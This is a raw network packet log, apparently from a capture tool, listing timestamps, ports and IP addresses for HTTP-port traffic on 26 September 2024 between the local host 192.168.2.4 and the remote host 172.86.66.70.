Sep 26, 2024 12:12:22.779767036 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.779776096 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.779781103 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.779791117 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.779795885 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.779805899 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.779829979 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.779866934 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.780030966 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.780036926 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.780045986 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.780051947 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.780061007 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.780065060 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.780076981 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.780093908 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.780093908 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.780143976 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.780165911 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.780173063 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.780175924 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.780292988 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.780487061 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.780523062 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.780662060 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.780667067 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.780677080 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.780680895 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.780693054 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.780698061 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.780708075 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.780713081 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.780721903 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.780726910 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.780729055 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.780740023 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.780774117 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.780774117 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.780843019 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.780853987 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.780858040 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.780862093 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.780868053 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.780953884 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.781135082 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.781140089 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.781150103 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.781160116 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.781198978 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.781198978 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.781282902 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.781287909 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.781297922 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.781301975 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.781311989 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.781327963 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.781366110 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.781469107 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.781474113 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.781485081 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.781490088 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.781495094 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.781524897 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.781546116 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.781625032 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.781630039 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.781685114 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.782017946 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.782023907 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.782033920 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.782072067 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.782072067 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.782166004 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.782171011 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.782181025 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.782186985 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.782229900 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.782238960 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.782339096 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.782342911 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.782347918 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.782352924 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.782361984 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.782387972 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.782422066 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.782511950 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.782516956 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.782521963 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.782526016 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.782562017 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.782857895 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.782999992 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.783010960 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.783159018 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.783164978 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.783174038 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.783179045 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.783188105 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.783193111 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.783211946 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.783282995 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.783308029 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.783312082 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.783315897 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.783329010 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.783334017 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.783339977 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.783366919 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.783366919 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.783464909 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.783471107 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.783529997 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.783704042 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.783708096 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.783718109 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.783768892 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.783768892 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.783828020 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.783839941 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.783845901 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.783881903 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.784034014 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.784039974 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.784049988 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.784095049 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.784095049 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.784194946 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.784200907 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.784205914 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.784212112 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.784223080 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.784229040 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.784255028 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.784290075 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.784671068 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.784849882 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.784859896 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.784872055 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.784876108 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.784902096 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.784950972 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.784990072 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.784995079 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.785005093 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.785065889 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.785065889 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.813396931 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.813421011 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.813431978 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.813517094 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.813541889 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.813546896 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.813558102 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.813564062 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.813602924 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.863770962 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.865935087 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.865942001 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.865947962 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.865983963 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.866045952 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.866050959 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.866055965 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.866061926 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.866066933 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.866117001 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.866117001 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.866138935 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.866223097 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.866229057 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.866241932 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.866252899 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.866260052 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.866271973 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.866311073 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.866363049 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.866368055 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.866426945 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.866449118 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.866461039 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.866466999 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.866477966 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.866483927 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.866556883 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.866689920 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.866695881 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.866708040 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.866713047 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.866719007 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.866769075 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.866769075 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.866812944 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.866820097 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.866831064 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.866836071 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.866866112 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.867156982 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.867209911 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.867216110 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.867266893 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.867275953 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.867305994 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.867348909 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.867353916 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.867360115 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.867361069 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.867407084 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.867443085 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.867449045 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.867460966 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.867505074 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.867527962 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.867607117 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.867609024 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.867614031 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.867619991 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.867624044 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.867660999 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.867746115 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.867752075 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.867763996 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.867769003 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.867774010 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.867789030 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.867813110 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.867813110 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.867857933 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.867877007 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.868016005 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.868021011 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.868031025 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.868036985 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.868041992 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.868048906 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.868053913 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.868062019 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.868077040 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.868096113 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.868144035 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.868355036 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.868376970 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.868382931 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.868453026 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.868458033 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.868485928 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.868490934 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.868495941 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.868526936 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.868556023 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:26.981290102 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:26.981389999 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:28.799246073 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:28.804505110 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:28.804613113 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:28.804838896 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:28.809828043 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.483838081 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.483859062 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.483870029 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.483882904 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.483941078 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.483944893 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.483958006 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.483971119 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.483983040 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.484015942 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.484045982 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.484054089 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.484066963 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.484122992 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.488787889 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.488864899 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.488877058 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.488888979 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.488917112 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.488943100 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.576376915 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.576471090 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.576481104 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.576491117 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.576502085 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.576534986 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.576546907 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.576649904 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.576649904 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.577318907 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.577342033 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.577352047 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.577397108 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.577670097 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.577739954 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.577752113 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.577785015 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.577809095 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.577821016 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.577862978 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.578512907 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.578567028 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.578579903 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.578619957 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.578646898 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.578658104 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.578699112 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.579489946 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.579545975 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.579557896 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.579591036 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.579591990 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.579638004 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.581449032 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.581473112 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.581537962 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.668813944 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.668859959 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.668870926 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.668920040 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.668961048 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.668981075 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.668998003 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.669085026 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.669132948 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.669146061 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.669158936 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.669192076 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.669246912 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.669259071 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.669270039 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.669280052 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.669295073 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.669317961 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.669395924 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.669408083 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.669419050 CEST	80	49755	172.86.66.70	192.168.2.4
